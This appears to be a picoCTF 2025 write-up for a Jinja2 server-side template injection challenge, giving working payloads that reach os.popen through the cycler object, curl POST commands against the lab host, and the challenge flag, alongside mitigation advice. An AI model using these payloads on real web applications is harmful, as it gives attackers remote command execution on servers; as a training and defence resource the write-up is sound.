SSTI1 picoCTF 2025 Solution

Published: April 2, 2025

Description

The announcement form renders unescaped Jinja2 templates, so you can access Python globals through the cycler object and execute shell commands.

Load the challenge URL and locate the text field that reflects arbitrary user input.

Submit a harmless template (e.g., {{7*7}}) to confirm server-side template execution.

bash
curl http://rescued-float.picoctf.net:52534/
bash
curl -L -X POST -d "content={{7*7}}" http://rescued-float.picoctf.net:52534/

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Pop a shell via cycler
    Observation
    I noticed the setup probe {{7*7}} returned 49 instead of the literal string, confirming Jinja2 is evaluating input server-side, which suggested using the cycler.__init__.__globals__.os gadget chain to reach the os module without needing an explicit import statement in the payload.
    Jinja exposes the cycler helper, whose __init__.__globals__ dictionary contains the os module. Calling os.popen lets you run arbitrary commands from a template payload.
    bash
    {{ cycler.__init__.__globals__.os.popen('ls -la').read() }}
    What didn't work first

    Tried: Trying SQL injection or XSS payloads like ' OR 1=1-- or <script>alert(1)</script> in the text field first

    The field reflects text back in the page HTML but SQL payloads return a literal string and XSS executes only in the victim's browser - neither gives server-side code execution. The confirmation test {{7*7}} returning 49 (not the literal string) is the specific signal that proves a template engine is evaluating input, which is what shifts the technique class to SSTI.

    Tried: Using __class__.__mro__ gadget chains (e.g., ''.__class__.__mro__[1].__subclasses__()) instead of cycler

    The MRO subclass chain works in some Jinja2 environments but requires iterating over hundreds of subclasses to find a usable one like subprocess.Popen, and the index varies by Python version and installed packages. The cycler.__init__.__globals__.os path is shorter, deterministic, and works as long as the os module was imported anywhere in the application - which Flask always does internally.

    Learn more

    Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a template string that is then rendered by a server-side template engine. Unlike reflected XSS (which runs in the victim's browser), SSTI runs on the server with the application's privileges, making it far more dangerous. The canonical test payload is {{7*7}}: if the server responds with 49 instead of the literal string {{7*7}}, template injection is confirmed.

    Jinja2, Flask's default template engine, exposes a global namespace containing Python builtins and context objects. The cycler object (a Jinja2 utility for cycling through values) is always available in the template context. Its __init__ method is a Python function, and all Python functions carry a __globals__ attribute pointing to the module's global namespace. If the os module was imported anywhere in the application, it appears in this dictionary, accessible via template syntax without any import statement in the payload itself.

    SSTI is ranked in the OWASP Top 10 under Injection and has led to complete server compromise in real-world incidents. Affected template engines include Jinja2, Twig (PHP), FreeMarker (Java), Pebble (Java), Velocity (Java), and others. The payload chain differs per engine, which is why identification (what engine is running?) precedes exploitation in a real engagement. Web challenges and real-world bug patterns covers SSTI alongside the other Top-10 classes.

    This payload works here because the SSTI1 endpoint applies no character filter; the underscores, dots, and the literal word cycler all pass through. SSTI2 is the same vulnerability with a keyword blacklist bolted on, which forces the same gadget to be expressed without underscores or the cycler identifier and is why the next challenge feels like a different bug.

  2. Step 2
    Read the flag file
    Observation
    I noticed the ls -la output from the shell payload revealed a file named flag in the working directory, which suggested replacing the command string with cat flag to read the flag contents directly through the same SSTI payload channel.
    Listing the directory reveals the flag file. Replace the command string with cat flag (or use curl to POST the payload) and the response contains the picoCTF flag.
    bash
    {{ cycler.__init__.__globals__.os.popen('cat flag').read() }}
    bash
    curl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:52534/

    Expected output

    picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_ae48...}
    Learn more

    os.popen() opens a pipe to a shell command and returns a file-like object whose .read() method captures standard output. subprocess.run(..., capture_output=True) reaches the same outcome but is the modern, safer interface (explicit argument lists, better error handling, no implicit shell). The two are not interchangeable in production code; popen is the legacy, one-liner-friendly form, while subprocess is what you should reach for in a real codebase. For SSTI specifically, popen is the better tool because it fits inline as a single chained expression with no imports beyond os.

    From a defensive standpoint, the root fix is trivially simple: never pass user input directly to a template renderer. Instead, pass data as template variables using the context dictionary, e.g. render_template('page.html', content=user_input), and reference it as {{ content }} in the template file. Jinja2 automatically HTML-escapes variables rendered this way, preventing both SSTI and XSS. The vulnerability only exists when code uses render_template_string(user_input) or jinja2.Environment().from_string(user_input) directly.

    If template rendering of user content is genuinely required (e.g., a CMS allowing template-like syntax), the mitigation is to use a sandboxed environment: jinja2.sandbox.SandboxedEnvironment() blocks access to private attributes (__init__, __globals__) and disallows calling arbitrary Python functions. Treat this as a speed bump rather than a wall: published sandbox escapes exist for most template engines, attribute filters can be bypassed with |attr() + dynamic strings, and any object exposed to the template that holds a reference to a function carrying __globals__ is potentially a gadget. Sandboxing raises the exploitation bar; it does not eliminate the vulnerability class.

  3. Step 3
    Optional: script the extraction
    Observation
    I noticed the raw HTML response embeds the flag inside the page body rather than returning plain text, which suggested piping the curl output through grep with the picoCTF{...} pattern to extract just the flag token without manually parsing the HTML.
    Pipe the HTML through grep/cut if you want a clean output from the command line.
    bash
    curl -L -X POST -d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" http://rescued-float.picoctf.net:52534/ | grep -E "picoCTF\{.*\}"
    What didn't work first

    Tried: Piping curl output to grep 'picoCTF' without the -E flag or escaping the braces

    Without -E (extended regex), grep treats { as a literal character in some implementations but the \{ escape syntax still varies between GNU grep and BSD grep. The safer pattern is grep -oE 'picoCTF\{[^}]+\}' which extracts just the flag token rather than the whole line, avoiding confusion when the flag appears mid-sentence inside the HTML response.

    Tried: Sending the SSTI payload directly in the URL query string as a GET parameter instead of POST body

    The challenge form uses POST and the server only evaluates the content parameter from the POST body. A GET request to the same URL either returns the form page or a 405 Method Not Allowed error. The -X POST -d flags in curl are what route the payload to the correct handler.

    Learn more

    Chaining curl with text processing tools like grep, cut, and sed is a quick way to automate flag extraction without writing a full Python script. The -E flag enables extended regular expressions in grep, and picoCTF\{.*\} matches the flag pattern. This approach works well for one-off extractions but breaks if the flag contains characters that have special regex meaning.

    For more robust automation, pwntools (via from pwn import *) provides HTTP request helpers alongside its binary exploitation capabilities. For web-only challenges, requests (Python) or httpx offer clean APIs for building and sending POST requests, parsing JSON responses, and following redirects, making them ideal for multi-step web exploits that require maintaining session state across requests.

    Scripting the exploit also makes it reproducible: if the challenge instance resets or you want to demonstrate the vulnerability to others, a self-contained script is far more reliable than manual browser interactions. Good CTF habit is to save every working exploit script in your notes alongside the flag.

Interactive tools
  • Reverse Shell GeneratorGenerate reverse shell payloads (bash, nc, python, perl, ruby, php, node, powershell) and matching listeners. Set host and port once, copy any variant.

Flag

Reveal flag

picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_ae48...}

The payload chain works in-browser or via curl; both outputs include the full flag inside the rendered HTML.

Key takeaway

Server-side template injection occurs when user input is concatenated into a template string and evaluated by the template engine rather than treated as inert data. Because the engine runs server-side with application privileges, the attacker gains code execution, not just reflected output as with XSS. Any web framework that exposes a template engine (Jinja2, Twig, FreeMarker, Velocity) is susceptible if user input ever flows into the template source, and the same gadget-chaining technique through Python's object hierarchy applies across frameworks with minor payload adjustments.

How to prevent this

SSTI is a single-line bug. Two patterns kill it for good.

  • Never call render_template_string(user_input) or Environment().from_string(user_input). Pass user data as a variable into a fixed template: render_template("page.html", content=user_input). The renderer escapes it automatically.
  • If the product genuinely needs user-supplied templates (CMS, email builder), use jinja2.sandbox.SandboxedEnvironment() with an explicit attribute allowlist. Sandbox escapes exist; treat the surface as hostile and keep the variable set minimal.
  • Add a static-analysis rule (Semgrep, Bandit, CodeQL) that flags any string-based template entrypoint. SSTI hides in one-line refactors; CI is the only durable defense.

Related reading

Want more picoCTF 2025 writeups?

Tools used in this challenge

Do these first

What to try next